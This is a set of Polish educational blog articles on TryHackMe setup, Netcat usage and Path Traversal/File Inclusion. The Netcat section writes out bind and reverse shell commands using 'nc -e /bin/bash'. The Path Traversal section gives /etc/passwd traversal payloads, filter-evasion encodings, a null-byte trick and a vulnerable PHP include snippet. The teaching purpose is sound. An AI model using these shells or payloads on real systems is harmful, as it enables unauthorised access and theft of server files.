AttackBox czy własne środowisko?

Podczas pracy na TryHackMe masz do wyboru dwie opcje: AttackBox lub konfigurację własnego środowiska za pomocą OpenVPN. Każde z tych rozwiązań ma swoje zalety i wady, które warto rozważyć.

AttackBox jest to wirtualna maszyna, którą można uruchomić bezpośrednio w przeglądarce. Jest gotowa do pracy zaraz po aktywacji, co czyni ją doskonałym wyborem dla osób początkujących lub tych, które chcą szybko rozpocząć ćwiczenia. Główne zalety AttackBoxa to łatwość użycia oraz zintegrowany pakiet narzędzi. Po prostu otrzymujesz środowisko, które jest od razu gotowe do pracy.

Jednak AttackBox ma swoje ograniczenia. W darmowej wersji dostęp jest ograniczony czasowo (1 godzina dziennie). Wirtualna maszyna w przeglądarce może działać wolniej w porównaniu do lokalnego środowiska, a także czasem się „wysypuje”.

Skonfigurowanie własnego środowiska i podłączenie się do THM za pomocą OpenVPN pozwala na większą kontrolę nad pracą w labach. Ta opcja wymaga nieco więcej wysiłku na początku, ale dzięki temu masz:

• nieograniczony dostęp – możesz korzystać z labów bez limitu czasowego,
• większą elastyczność – masz możliwość użycia ulubionego systemu operacyjnego (np. Kali Linux, Parrot Security OS, itd.) i dowolnych narzędzi,
• lepszą wydajność – operacje są wykonywane na Twoim sprzęcie, co przyspiesza działanie.

Jeśli dopiero zaczynasz swoją przygodę z cyberbezpieczeństwem, AttackBox będzie prostszą i szybszą opcją. Natomiast jeżeli planujesz długoterminowe korzystanie z TryHackMe i chcesz uczyć się pracy w bardziej realnych warunkach, warto poświęcić swój czas na konfigurację własnego środowiska z OpenVPN.

Jak połączyć się poprzez OpenVPN

Pobierz plik konfiguracyjny

Zaloguj się do swojego konta na TryHackMe. Następnie kliknij na swój awatar, który znajduje się w prawym górnym rogu ekranu. Z rozwijanego menu wybierz Access.

Po przejściu na podstronę Access, upewnij się, że jest wybrana lokalizacja, która znajduje się najbliżej Ciebie:

W przypadku zmiany lokalizacji serwera, po wybraniu odpowiedniej opcji, kliknij przycisk Regenerate:

Następnie pobierz plik, klikając przycisk Download Configuration File:

Instalacja na Linuxie

Pokażę Ci jak skonfigurować połączenie na przykładzie systemu Kali Linux, który jest zainstalowany na maszynie wirtualnej VMware.

W pierwszej kolejność upewnij się, że masz zainstalowany OpenVPN.

OpenVPN jest to otwartoźródłowy protokół VPN, który umożliwia tworzenie bezpiecznych połączeń typu site-to-site lub point-to-point, wykorzystując techniki wirtualnej sieci prywatnej. Dzięki OpenVPN możliwe jest szyfrowanie ruchu internetowego i tworzenie tuneli pomiędzy urządzeniem użytkownika a docelową siecią, co zapewnia prywatność i bezpieczeństwo danych przesyłanych przez Internet.

W kontekście TryHackMe, OpenVPN umożliwia zdalne połączenie z siecią labów, a co za tym idzie uzyskuje się dostęp do środowisk, w których można wykonywać ćwiczenia praktyczne.

OpenVPN – dokumentacja Kali Linux: KLIK!

Jeśli chcesz sprawdzić, czy OpenVPN jest zainstalowany w Twoim systemie, wpisz poniższe polecenie:

openvpn --version

Jeśli OpenVPN jest zainstalowane, zostanie wyświetlony numer wersji:

Poniższym poleceniem zainstalujesz OpenVPN:

sudo apt install openvpn

Teraz wystarczy włączyć plik konfiguracyjny, który pobrałaś/pobrałeś z THM z zakładki Access.

Przejdź do katalogu w którym znajduje się pobrany plik. W moim przypadku plik ten znajduje się na pulpicie:

Następnie użyj poniższego polecenia, żeby nawiązać połączenie:

sudo openvpn nazwa_pobranego_pliku.ovpn

Po kilku sekundach powinien pojawić się komunikat „Initialization Sequence Completed”:

Aby się upewnić, że połączenie zostało nawiązane, otwórz nową kartę w terminalu i wpisz poniższe polecenie:

ifconfig

Powinien pojawić się interfejs tun:

Instalacja na Windowsie

Ściągnij plik instalacyjny: KLIK!

Zainstaluj OpenVPN:

Po zainstalowaniu pojawi się okno w którym należy kliknąć CONNECT:

Następnie wybierz plik .ovpn, który wcześniej ściągnęłaś/ściągnąłeś: https://tryhackme.com/r/access

Połączenie powinno zostać nawiązane:

Instalacja na MacOS

Pobierz plik instalacyjny: KLIK!

Zainstaluj OpenVPN:

Po zainstalowaniu pojawi się okno w którym należy kliknąć CONNECT, następnie wybierz plik .ovpn, który ściągnęłaś/ściągnąłeś https://tryhackme.com/r/access:

Połączenie powinno zostać nawiązane:

Artykuł TryHackMe – jak połączyć się przez OpenVPN pochodzi z serwisu Pentestuj.

Czym jest TryHackMe

Większość tradycyjnych kursów online o tematyce cyberbezpieczeństwa zazwyczaj skupia się na teorii. Owszem jest to bardzo ważne, zwłaszcza na początku nauki. Jednak z czasem przychodzi taki moment, że trzeba wypróbować i przećwiczyć zdobytą wiedzę w praktyce. To właśnie dzięki ćwiczeniom praktycznym nasza wiedza staje się bardziej ugruntowana. Oczywiście nie wolno nam testować zabezpieczeń systemów do którym nie mamy uprawnień. Należy również pamiętać o tym, że jeśli nie mamy doświadczenia i nie wiemy co dokładnie robimy, możemy podczas testów trwale uszkodzić dany system. Niestety może wiązać się to z przykrymi konsekwencjami.

I tu właśnie z pomocą przychodzi TryHackMe. Jest to platforma edukacyjna, która łączy naukę teorii z praktyką. Do dyspozycji otrzymujemy kontrolowane środowisko w którym możemy testować zdobytą wiedzę.

Należy w tym miejscu zaznaczyć, że platforma TryHackMe jest dostępna w języku angielskim. Nie ma dostępnego polskiego tłumaczenia. Jednak nie uważam tego za minus, ponieważ osoby wkraczające w cyberbezpieczeństwo powinny znać język angielski, gdyż większość dokumentacji i poradników jest dostępna w tym właśnie języku.

Podział na ścieżki, moduły i pokoje

Cały materiał, który jest dostępny na TryHackMe jest podzielony dla ścieżki tematyczne (Learning Paths):

Jest to bardzo przydatne zwłaszcza dla początkujących osób. Platforma oferuje szeroki wachlarz ścieżek, które pomagają systematycznie zdobywać wiedzę i doświadczenie w wybranych dziedzinach cyberbezpieczeństwa. Do wyboru mamy ścieżki, które są przygotowane z myślą o początkujących osobach, a także o tych bardziej zaawansowanych. Uważam to za dobre posunięcie, ponieważ początkujące osoby nie muszą się zastanawiać od czego powinny zacząć. Przy każdej ścieżce znajduje się informacja odnośnie poziomu trudności:

Poszczególne ścieżki podzielone są moduły. Przykładowo ścieżka Web Application Pentesting zawiera moduły (sekcje) takie tak:

• Authentication,
• Injection Attacks,
• Advanced Server-Side Attacks,
• Advanced Client-Side Attacks,
• HTTP Request Smuggling.

Każdy moduł składa się z pokoi (rooms), np. moduł Advanced Client-Side Attacks składa się z pokoi takich jak:

• XSS,
• CSRF,
• DOM-Based Attack,
• CORS & SOP,
• Challenge „Whats Your Name?”

Pokój z kolei składa się z teorii oraz zadań . Dodatkowo w każdym pokoju mamy dostęp do maszyny, na której możemy testować nasze umiejętności, tzw. AttackBox.

Jak widzisz całość jest logicznie uporządkowana i przez to bardzo łatwo jest się odnaleźć na początku swojej przygody z THM 🙂

Jak działają pokoje (rooms)

Tak jak już wcześniej wspomniałam materiał, który jest dostępny na TryHackMe jest podzielony na pokoje (rooms). Można powiedzieć, że są to odrębne środowiska laboratoryjne. Każdy z pokoi skupia się na danym temacie.

Dostępne są pokoje, które dostarczają nam wiedzę teoretyczną, a także środowisko laboratoryjne w którym możemy to przećwiczyć. Teoria jest często przeplatana zadaniami. Najczęściej są to zadania CTF, w których musimy zdobyć ukrytą flagę, czyli określony ciąg znaków, który potem musimy wpisać w specjalnie przygotowanym do tego polu. Jeśli flaga jest prawidłowa, zadanie jest oznaczane jako zaliczone.

Drugą grupę stanowią pokoje w których nie znajdziemy już wstępu teoretycznego, a jedynie same zadania CTF. Po prostu są to specjalnie przygotowane systemy, które celowo mają wprowadzone luki bezpieczeństwa, poprzez które należy włamać się i zdobyć ukryte flagi.

Czym jest AttackBox

AttackBox jest to wirtualne środowisko dostępne na platformie TryHackMe, które umożliwia użytkownikom przeprowadzanie testów penetracyjnych i rozwiązywanie zadań bez potrzeby posiadania własnej infrastruktury. To po prostu maszyna wirtualna uruchamiana z poziomu TryHackMe, w której użytkownicy mogą przeprowadzać ataki, eksperymentować z narzędziami bezpieczeństwa oraz testować aplikacje i systemy w izolowanym środowisku.

Uważam, że jest to bardzo fajna opcja dla początkujących osób, które nie są jeszcze biegłe w konfiguracji swojego własnego środowiska Linuxowego. Niestety rozwiązanie to ma pewne wady. Po pierwsze czasem potrafi się „wysypać”. Niestety zdarzyło mi się to kilka razy. Po drugie działamy na „obcym” systemie, który nie jest przez nas skonfigurowany. Po trzecie AttackBox potrafi czasem zamulać.

Właśnie z tego powodu wolę podłączyć poprzez OpenVPN swoje własne środowisko Kali Linux postawione na maszynie wirtualnej. Może brzmi skomplikowanie, ale w rzeczywistości jest to banalnie proste, a nauka na TryHackMe staje się dużo przyjemniejsza.

Jakie są zalety i wady TryHackMe

Uważam że sporą zaletą jest duża przejrzystość platformy. Podział na ścieżki, moduły i pokoje jest całkiem logiczny i wprowadza duże ułatwienie dla osób początkujących. Niestety niektóre pokoje są przypisane do kilku ścieżek. Przykładowo jeśli rozwiążesz wszystkie zadania z wybranej ścieżki zobaczysz, że masz postępy także na kilku innych ścieżkach. Tak więc pokoi jest trochę mniej niż mogło by się wydawać na pierwszy rzut oka.

Bardzo fajny jest podział pokoi zależności od poziomu trudności. Jednak tu także nie zawsze się to sprawdza. Parę razy mi się zdarzyło, że moduł oznaczony jako łatwy w rzeczywistości okazywał się nieco bardziej zaawansowany.

Środowisko AttackBox jest świetnym dodatkiem. Dzięki temu można od razu testować swoją wiedzę, bez potrzeby konfiguracji własnego środowiska. Niestety AttackBox ma swoje ograniczenia, o których wcześniej pisałam. Jednak i tak uważam, że jest to super dodatek.

Poziom merytoryczny danych modułów jest różny. Widać, że szykowały je różne osoby. Niektóre moduły są przygotowane w wyczerpujący i mega profesjonalny sposób, a inne nieco odbiegają od nich jakościowo. Mimo wszystko całość oceniam na mocną piątkę.

Bardzo fajna jest wyszukiwarka modułów. Za jej pomocą możemy przeszukiwać moduły pod kątem fraz, a także stopnia trudności.

Po ukończeniu danej ścieżki otrzymujemy certyfikat. Niestety nie ma on dużej wartości na rynku pracy, z uwagi na fakt, że na stronie THM przy każdym module są dostępne writeupy. Oprócz tego rozwiązania poszczególnych zadań znajdziemy w sieci.

Czym się różni płatna wersja od darmowej

TryHackMe jest dostępne w 3 pakietach: Free, Premium, Business. Pakiet Free jak sama nazwa wskazuje jest bezpłatny, natomiast Premium oraz Business są płatne. Ja jednak skupię się na tańszej wersji Premium.

Bezpłatna wersja ma swoje ograniczenia, które z czasem bywają uciążliwe. W wersji bezpłatnej mamy dostęp tylko do pokoi, które są oznaczone jako free. Często pokoje te są przeznaczone dla osób początkujących. Bardziej zaawansowane treści są płatne. Decydując się na daną ścieżkę musisz mieć na uwadze to, że będziesz mieć dostęp tylko do początkowych modułów. Tak więc jeśli chcesz przejść przez całą ścieżkę, musisz mieć wykupione konto premium.

W wersji darmowej jest ograniczenie w dostępie do AttackBox. Darmowe konta mają dostęp tylko przez godzinę w danym dniu. Ja jednak nie lubię korzystać z AttackBox. Dużo lepiej pracuje mi się na własnym systemie poprzez OpenVPN. Tak więc uważam, że spokojnie można obejść to ograniczenie.

W wersji premium otrzymujemy też szybsze maszyny, co przekłada się na komfort korzystania z serwisu.

Dużym zaskoczeniem było dla mnie to, że kupując wersję premium nie otrzymałam faktury. Obecnie jest tak, że tylko kupując konto business otrzymamy fakturę. Jednak dostałam odpowiedź z supportu, że z czasem może wprowadzą zmiany w tym zakresie.

Czy warto wykupić konto premium na TryHackMe?

Jeśli dopiero zaczynasz swoją przygodę z THM, uważam że na początek warto przetestować platformę w wersji bezpłatnej. Akurat w wersji free mamy dostęp do najłatwiejszych modułów. Dzięki temu sprawdzisz, czy odpowiada Ci taka forma szkoleń.

Warto wykupić konto premium, jeśli planujesz intensywnie korzystać z THM. Wtedy na pewno się to opłaci. Czasami można natrafić na promocję, zwłaszcza na Black Friday.

Ogólnie rzecz biorąc THM zawiera dużo teorii i zadań praktycznych, jednak nie można traktować tego jako jedynego źródła wiedzy. Warto poszerzać swoją wiedzę korzystając z książek, a także innych serwisów takich jak PortSwigger czy HackTheBox. Jednak uwaga ta dotyczy także pozostałych serwisów.

Artykuł TryHackMe – czym jest i czy warto wykupić wersję premium pochodzi z serwisu Pentestuj.

Czym jest Netcat

Netcat to wszechstronne narzędzie sieciowe do testowania połączeń i komunikacji, a także prosty serwer. Netcat działa na systemach Linux, Windows oraz MacOS. Jest często nazywany „szwajcarskim scyzorykiem sieciowym” ze względu na możliwość wykonywania różnych zadań związanych z siecią. Netcat może być używany do zadań takich jak:

• Ustanawianie połączeń TCP i UDP – Netcat pozwala na inicjowanie połączeń zdalnych oraz nasłuchiwanie na określonych portach, co umożliwia komunikację pomiędzy hostami.
• Przesyłanie plików – Netcat może być używany do przesyłania plików pomiędzy hostami. Należy jednak zaznaczyć, że Netcat nie oferuje wbudowanego mechanizmu zabezpieczania przesyłanych danych, dlatego nie jest zalecany do bezpiecznego przesyłania plików.
• Skanowanie portów – Netcat umożliwia szybkie sprawdzenie, które porty na docelowym urządzeniu są otwarte, co jest przydatne podczas testów penetracyjnych. Jednak nie jest to jego główna funkcja, dlatego do bardziej zaawansowanego skanowania lepiej używać Nmapa.
• Tworzenie serwerów nasłuchujących – narzędzie może działać jako prosty serwer, który nasłuchuje na określonym porcie i obsługuje połączenia przychodzące. Warto dodać, że w tej roli Netcat może być używany do tworzenia prostych backdoorów, co bywa wykorzystywane zarówno w testach penetracyjnych, jak i przez atakujących.
• Diagnostyka, debugowanie i testy penetracyjne – Netcat jest pomocny w diagnozowaniu problemów z połączeniami, w testowaniu konfiguracji sieciowej oraz w testach penetracyjnych.

Jak ustanowić połączenie za pomocą Netcat

Netcat umożliwia tworzenie połączeń TCP lub UDP między dwoma hostami, gdzie jeden działa jako serwer nasłuchujący, a drugi jako klient, który inicjuje połączenie.

Jak ustanowić połączenie TCP

Skonfiguruj serwer nasłuchujący:

Na komputerze, który będzie nasłuchiwał połączeń (serwer), uruchom Netcat w trybie nasłuchu na określonym porcie:

nc -l -p <numer portu>

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p <numer portu> – określa numer portu (np. 5555).

Połącz się z serwerem jako klient:

nc <adres IP serwera> <numer portu>

gdzie:

• <adres IP serwera> – adres IP maszyny, na której uruchomiono Netcat w trybie nasłuchu.
• <numer portu> – port, na którym nasłuchuje serwer.

Jak ustanowić połączenie UDP

Netcat obsługuje nie tylko połączenia TCP, ale także UDP. Oto, jak ustanowić komunikację UDP za pomocą Netcat.

Skonfiguruj serwer nasłuchujący:

nc -u -l -p <numer portu>

Polecenie jest prawie takie samo jak przy TCP. Trzeba tylko dodać flagę -u.

Połącz się z serwerem jako klient:

nc -u <adres IP serwera> <numer portu>

Transfer plików

Możemy używać Netcata do przesyłania danych pomiędzy hostami. W tym celu trzeba skonfigurować maszynę wysyłającą oraz odbierającą dane.

Na maszynie odbierającej dane wpisz poniższe polecenie:

nc -l -p <numer portu> > otrzymane_dane.txt

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p – określa numer portu (np. 5555).
• > – przekierowuje odebrane dane do pliku otrzymane_dane.txt.

Na maszynie wysyłającej, wpisz poniższe polecenie:

nc <adres IP odbiorcy> <numer portu> < plik_do_wyslania.txt

gdzie:

• <adres IP odbiorcy> – adres IP maszyny odbierającej plik.
• <numer portu> – port, na którym nasłuchuje maszyna odbierająca.
• < – wskazuje, że dane do przesłania znajdują się w pliku plik_do_wyslania.txt.

To polecenie nawiązuje połączenie z maszyną odbiorczą i wysyła plik plik_do_wyslania.txt.

Backdoor i zdalny dostęp

Netcat może być użyty do utworzenia backdoora, umożliwiającego atakującemu zdalny dostęp do systemu ofiary.

Uwaga: Tworzenie backdoorów i uzyskiwanie zdalnego dostępu do systemów bez zgody ich właścicieli jest nieetyczne i nielegalne. Opisane w artykule techniki powinny być używane wyłącznie w celach edukacyjnych lub w ramach testów penetracyjnych przeprowadzanych za zgodą właściciela systemu.

Na komputerze ofiary włącz tryb nasłuchu:

nc -lp 5555 -e /bin/bash

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p – określa numer portu (np. 5555).
• -e /bin/bash – po nawiązaniu połączenia klient uzyska dostęp do powłoki Bash na maszynie, która uruchomiła Netcat.

Zwróć uwagę na to, że flagi można zapisywać łącznie lub osobno. Równoważny będzie zapis -lp oraz -l -p.

Na komputerze atakującego wykonaj poniższe polecenie:

nc <adres IP ofiary> 5555

• <adres IP ofiary> – adres IP maszyny nasłuchującej.
• 5555 – numer portu na którym nasłuchuje komputer ofiary, w tym przypadku jest to port 5555.

Powyższe polecenie jest używane do nawiązania połączenia techniką bind shell. W przypadku bind shell, komputer ofiary uruchamia Netcat w trybie nasłuchu na określonym porcie (tutaj 5555) i czeka na połączenia przychodzące. Kiedy atakujący połączy się z tym portem, zyskuje dostęp do powłoki systemowej ofiary. Problemem jest to, że firewall może blokować połączenia przychodzące. Dlatego z punktu widzenia atakującego dużo lepszą techniką jest reverse shell.

Reverse shell działa inaczej. W tym przypadku to komputer ofiary inicjuje połączenie z komputerem atakującego. Ofiara uruchamia Netcat, który łączy się z adresem IP atakującego na określonym porcie (np. 5555), a atakujący otrzymuje dostęp do powłoki ofiary.

Na komputerze atakującego włącz tryb nasłuchiwania:

nc -lp 5555

Na komputerze ofiary wykonaj poniższe polecenie:

nc <adres IP atakującego> 5555 -e /bin/bash

Atakujący może wykonać reverse shell na systemie ofiary bez fizycznego dostępu, wykorzystując różne luki w zabezpieczeniach. Jednym ze sposobów jest wykorzystanie luk w aplikacjach internetowych, które pozwalają na zdalne wykonanie kodu. Jeśli aplikacja ma nieprawidłową kontrolę nad danymi wejściowymi, atakujący może wysłać złośliwy kod, który uruchomi reverse shell na serwerze ofiary. Kolejną metodą są ataki phishingowe, gdzie atakujący wysyła e-maile lub tworzy fałszywe strony internetowe, które mają na celu skłonienie użytkownika do kliknięcia w złośliwy link lub pobrania załącznika zawierającego złośliwy kod. Atakujący może też manipulować ofiarą w taki sposób, by ta sama uruchomiła złośliwy kod.

Chatowanie za pomocą Netcata

Netcat umożliwia prowadzenie prostych rozmów tekstowych (chatów) w czasie rzeczywistym pomiędzy dwoma komputerami w tej samej sieci lub na odległych maszynach. Proces ten polega na skonfigurowaniu jednego komputera jako serwera nasłuchującego, a drugiego jako klienta, który się z nim łączy.

Warto pamiętać o tym, że rozmowy przez Netcat są przesyłane w formie zwykłego tekstu i nie są domyślnie szyfrowane, przez co dane mogą zostać przechwycone.

Poniżej przykład wysyłanych wiadomości pomiędzy dwiema maszynami w sieci lokalnej, które są uruchomione na VMware.

Włączam serwer nasłuchujący na maszynie o IP 192.168.128.131 na porcie 5555:

Na drugiej maszynie nawiązuję połączenie z serwerem nasłuchującym:

Teraz mogę wysłać wiadomość tekstową:

Wiadomość pokazała się na serwerze nasłuchującym. Wysyłam odpowiedź:

Odpowiedź pojawiła się na drugiej maszynie:

Skanowanie portów za pomocą Netcata

Netcat, pomimo że nie jest specjalistycznym narzędziem do skanowania portów, może być używany do tego celu.

Poniżej polecenie wykonujące skanowanie portów:

nc -v -n <adres IP> 1-100

• -v – tryb szczegółowy, wyświetla więcej informacji o połączeniach.
• -n – wymusza używanie bezpośrednich adresów IP zamiast nazw domenowych. Netcat nie będzie próbował rozwiązywać adresu IP na nazwę hosta.
• <adres IP> – określa adres IP zdalnego hosta, który jest sprawdzany pod kątem otwartych portów.
• 1-100 – określa zakres portów, które mają zostać zeskanowane. W powyższym przypadku Netcat będzie sprawdzać porty od 1 do 100.

Podsumowanie

Największą zaletą Netcata jest możliwość obsługi zarówno protokołów TCP jak i UDP, co czyni go niezwykle elastycznym narzędziem do różnych zadań sieciowych. Netcat jest bardzo prosty w obsłudze i można go szybko uruchomić. Dodatkowo, możliwość tworzenia prostych serwerów sprawia, że narzędzie to znajduje zastosowanie w testach penetracyjnych i diagnozowaniu problemów z siecią.

Jednakże Netcat nie jest pozbawiony wad. Brak natywnego szyfrowania komunikacji sprawia, że dane przesyłane za jego pomocą są podatne na podsłuch, co może stanowić poważne zagrożenie w kontekście bezpieczeństwa. Choć istnieją modyfikacje Netcata, które dodają szyfrowanie, nie są one w standardzie.

Artykuł Netcat – czym jest i jak go używać pochodzi z serwisu Pentestuj.

Pod tym linkiem znajdziesz rozwiązania zadań wraz z omówieniem z platformy Web Security Academy. Po przeczytaniu artykułu zachęcam do utrwalenia swojej wiedzy poprzez rozwiązanie tych zadań 🙂

Jak działa Path Traversal

Podatność Path Traversal pojawia się wtedy, gdy aplikacja wykorzystuje dane kontrolowane przez użytkownika bez odpowiedniej walidacji. W takiej sytuacji atakujący może odpowiednio zmodyfikować zapytanie, aby uzyskać dostęp do plików i wrażliwych informacji, do których normalnie nie powinien mieć dostępu. Ważne jest również to jakie są ustawione uprawnienia do plików i katalogów na serwerze. Jeśli są zbyt wysokie, wtedy atakujący może poszerzyć swój wektor ataku. Path Traversal bardzo często jest furtką do dalszych ataków takich jak LFI (Local File Inclusion) oraz RFI (Remote File Inclusion). Obie podatności zostaną omówione w dalszej części artykułu.

Path Traversal może występować bezpośrednio w adresie URL, a także w parametrach przekazywanych do aplikacji lub w nagłówkach. Luka może wystąpić w wielu miejscach aplikacji, jednak w szczególności warto testować miejsca w których pliki są pobierane lub wgrywane na serwer, a także wszędzie tam gdzie są wczytywane style lub szablony. Warto podkreślić, że podatność Path Traversal nie dotyczy tylko aplikacji webowych.

Przykładowo mamy aplikację webową, która wyświetla awatar danego użytkownika. Aplikacja wykorzystuje parametr w adresie URL, aby określić które zdjęcie powinno zostać wyświetlone.

Przykładowy adres do grafiki z awatarem ma postać:

http://example.com/image?avatar=img678.png

Tak może wyglądać kod po stronie podatnej aplikacji:

<?php
$file = $_GET['avatar'];
include('var/www/images/' . $file);
?>

Parametr file określa który plik graficzny ma się wyświetlać danemu użytkownikowi. W normalnych warunkach powinna się wyświetlić grafika, której nazwa znajduje się w adresie URL w parametrze avatar.

Jednak kod jest podatny na ataki path traversal, ponieważ łączy dane wejściowe dostarczone przez użytkownika ze ścieżką do pliku bez odpowiedniej walidacji. Atakujący może łatwo wykorzystać tę lukę, dostarczając ładunek, taki jak np. ../../../etc/passwd, który umożliwia przechodzenie w górę hierarchii katalogów i uzyskiwanie dostępu do poufnych plików na serwerze. Ponieważ aplikacja nie jest odpowiednio zabezpieczona, atakujący może zmodyfikować powyższy adres zmieniając parametr avatar w poniższy sposób:

http://example.com/image?avatar=../../../etc/passwd

Zmanipulowany kod po stronie serwera wyglądałby następująco:

<?php
$file ='../../../etc/passwd';
include('var/www/images/' . $file);
?>

W efekcie serwer wskazuje pod adres:

/var/www/images/../../../etc/passwd

Znak ../ oznacza przejście do katalogu nadrzędnego, tak więc w rezultacie serwer wyświetli zawartość pliku etc/passwd, zamiast grafiki z awatarem.

Jeśli nie zapewnimy odpowiedniej walidacji przekazywanych danych do naszej aplikacji, ostatnią deską ratunku będą odpowiednio niskie uprawnienia. Jeśli będą one zbyt wysokie, wtedy atakujący z powodzeniem wykona swój atak.

Czym jest File Inclusion

File Inclusion to rodzaj podatności, która pozwala atakującym na dołączenie i wykonanie kodu z plików (lokalnych lub zdalnych) w kontekście aplikacji. Często występuje w językach programowania takich jak PHP, gdzie funkcje dołączające pliki (np. include(), require()) są źle zabezpieczone. Wyróżnia się dwa rodzaje podatności File Inclusion:

• Local File Inclusion (LFI) – to luka w zabezpieczeniach aplikacji, która polega na wyświetleniu zawartości plików lub wykonaniu kodu z plików znajdujących się lokalnie na serwerze. LFI może prowadzić do dalszej eskalacji ataku. Atakujący może nawet przejąć kontrolę nad serwerem.
• Remote File Inclusion (RFI) – to luka, która pozwala atakującemu na dołączenie i wykonanie kodu z plików znajdujących się na zdalnym serwerze. W przypadku gdy aplikacja jest źle skonfigurowana (np. funkcja allow_url_include w PHP jest włączona), plik zostanie pobrany i wykonany w kontekście serwera aplikacji. W ten sposób można uruchomić złośliwy kod, który pozwala na kradzież danych, wykonanie dowolnych poleceń lub nawet przejęcie kontroli nad serwerem.

Jaka jest różnica pomiędzy Path Traversal a File Inclusion

1. Charakter podatności
   Path Traversal umożliwia atakującemu odczyt plików i katalogów do których nie powinien mieć dostępu.
   Natomiast File Inclusion pozwala na dołączanie lub wykonywanie i odczytywanie dowolnych plików z lokalnego lub zdalnego serwera.
2. Wpływ na serwer
   Path Traversal umożliwia atakującemu dostęp do poufnych plików i katalogów na serwerze. Może to prowadzić do kradzieży danych lub nawet przejęcia serwera.
   File Inclusion umożliwia atakującemu wykonanie dowolnego kodu z pliku na serwerze. Prowadzi to do całkowitego naruszenia bezpieczeństwa serwera.
3. Skutek
   Obie podatności mogą nieść ze sobą poważne skutki. Jednak przyjmuje się, że File Inclusion jest poważniejsza z uwagi na możliwość wykonania dowolnego kodu na serwerze.
4. Przyczyna
   Zarówno Path Traversal, jak i File Inclusion mogą być spowodowane przez niewystarczającą walidację oraz brak odpowiedniej kontroli dostępu. Path Traversal występuje, gdy aplikacja nie może zweryfikować danych wejściowych użytkownika używanych do uzyskania dostępu do systemu plików, natomiast File Inclusion występuje, gdy dane wejściowe użytkownika są używane do dołączenia plików ze zdalnego lub lokalnego serwera bez odpowiedniej walidacji.

Jak ominąć filtry

Path Traversal jest znaną i dość popularną podatnością i w związku z tym oprogramowania klasy IDS (ang. Intrusion Detection System), czyli systemy wykrywania włamań, wykrywają i skutecznie unicestwiają znane ataki, poprzez usuwanie z zapytań ciągów ../ oraz ich wariacji. Poniżej opisuję kilka sposobów na ominięcie filtrów.

Użycie wariacji znaków . / \

Jeśli system ochrony usuwa tylko raz z zapytania sekwencję ../, bez ponownego sprawdzenia przekazanego ciągu zapytania, jest możliwe ominięcie zabezpieczeń dodając dodatkowe znaki kropek i ukośników. Takie zapytanie może mieć wtedy postać:

....//....//....//etc/passwd

Sekwencje w czerwonych ramkach na poniższym zrzucie są usuwane przez system zabezpieczający:

Po usunięciu powyższych znaków otrzymujemy zapytanie jak na poniższym rzucie:

Jak widzisz system zabezpieczający powinien dokonać rekurencyjnej walidacji.

Kodowanie znaków

Jeśli jednak system zabezpieczający działa prawidłowo w powyższym zakresie, możesz zastosować:

• kodowanie URL (. = %2E, / = %2F, \ = %5C)
• podwójne kodowanie URL (. = %252E, / = %252F, \ = %255C)
• kodowanie UTF-16 (. = %u002e, / = %u2215, \ = %u2216)
• pojedyncze lub wielokrotne kodowanie UTF-8 (. = %c0%2e , / = %c0%af, \ = %c0%5c).

Poniżej zestawienie w tabelce:

Można również mieszać ze sobą różne rodzaje kodowania, aby utrudnić detekcję. W niektórych systemach można zamienić zwykłe ukośniki na odwrotne.

Zastosowanie bajtu zerowego

W sytuacji gdy aplikacja wymaga, aby podana przez użytkownika nazwa pliku kończyła się oczekiwanym rozszerzeniem, np. .png, wówczas możliwe jest użycie bajtu zerowego, aby skutecznie zakończyć ścieżkę pliku przed wymaganym rozszerzeniem:

filename=../../../etc/passwd%00.png

Bajt zerowy (inaczej znak pusty, null character) jest zdefiniowany w standardach ASCII i Unicode Bajt. Oznacza koniec łańcucha. Bajt zerowy jest oznaczony: %00. Wszystko co się za nim znajduje jest ignorowane.

Użycie ścieżki bezwzględnej

Czasem może być tak, że aplikacja pozwala na użycie ścieżki bezwzględnej. Więcej na ten temat przeczytasz w tym artykule: Podatność Path Traversal – rozwiązanie zadań PortSwigger wraz z omówieniem.

Narzędzia do lokalizowania podatności Path Traversal

Podatności Path Traversal można szukać ręcznie. W takim przypadku wystarczy program Burp Suite lub OWASP ZAP, za pomocą których możemy przechwytywać zapytania i je modyfikować.

Drugą opcją jest skorzystanie z automatycznych skanerów podatności np. DotDotPwn. Oczywiście wyższej wymienione programy również posiadają zaawansowane skanery.

Poniższej znajdziesz listę narzędzi, które są bardzo pomocne w szukaniu podatności Path Traversal:

• Burp Suite –  jest to najpopularniejsze narzędzie do przechwytywania i modyfikowania zapytań do serwera. W wersji Community dostępny jest moduł Intruder za pomocą którego można sprawdzić dostępność popularnych lokacji na serwerach poprzez fuzzing. Należy jednak zaznaczyć, że w bezpłatnej wersji szybkość fuzzowania jest znacznie wolniejsza niż w wersji Professional. Ponadto w wersji płatnej do dyspozycji mamy skaner, który potrafi wykryć m.in. podatność Path Traversal.
• OWASP ZAP (Zed Attack Proxy) – jest to alternatywa dla Burp Suite. OWASP ZAP jest narzędziem open source i jest rozwijany przez Open Web Application Security Project (OWASP). OWASP ZAP również posiada skaner podatności i jest dostępny w pełni za free.
• DirBuster – narzędzie to również jest rozwijane przez OWASP. Za jego pomocą można zlokalizować ukryte pliki i katalogi poprzez fuzzing.
• DotDotPwn – narzędzie to, jak sama nazwa wskazuje, jest specjalnie zaprojektowane do testowania luk w zabezpieczeniach typu Directory Traversal. Działa poprzez wysyłanie specjalnie spreparowanych żądań do serwera i analizowanie odpowiedzi.

Czym może skutkować obecność Path Traversal i File Insclusion w aplikacji

Wykorzystanie luki w zabezpieczeniach typu Path Traversal oraz File Inclusion może prowadzić do różnych konsekwencji, w zależności od specyfiki podatności, a także konfiguracji serwera, np.:

• Odczyt dowolnych plików – najprostszym sposobem wykorzystania tej podatności jest uzyskanie dostępu do dowolnych katalogów oraz plików na serwerze. Może to skutkować ujawnieniem poufnych informacji, takich jak pliki konfiguracyjne, kod źródłowy aplikacji, dane do logowania do bazy danych, itp. Tego typu wyciek danych może stanowić poważne zagrożenie dla bezpieczeństwa całego systemu. Warto również wspomnieć o tym, że w niektórych przypadkach możliwe jest również wylistowanie zawartości danego katalogu.
• Wgrywanie dowolnych plików – w pewnych sytuacjach atakujący może wykorzystać podatność do wgrywania swoich plików na serwer. Przykładowo atakujący może zmodyfikować plik konfiguracyjny, co może zakłócić działanie aplikacji lub nawet pozwolić atakującemu na uruchomienie własnego kodu. Atakujący może też nadpisać plik z danymi, co może skutkować ich utratą lub uszkodzeniem.
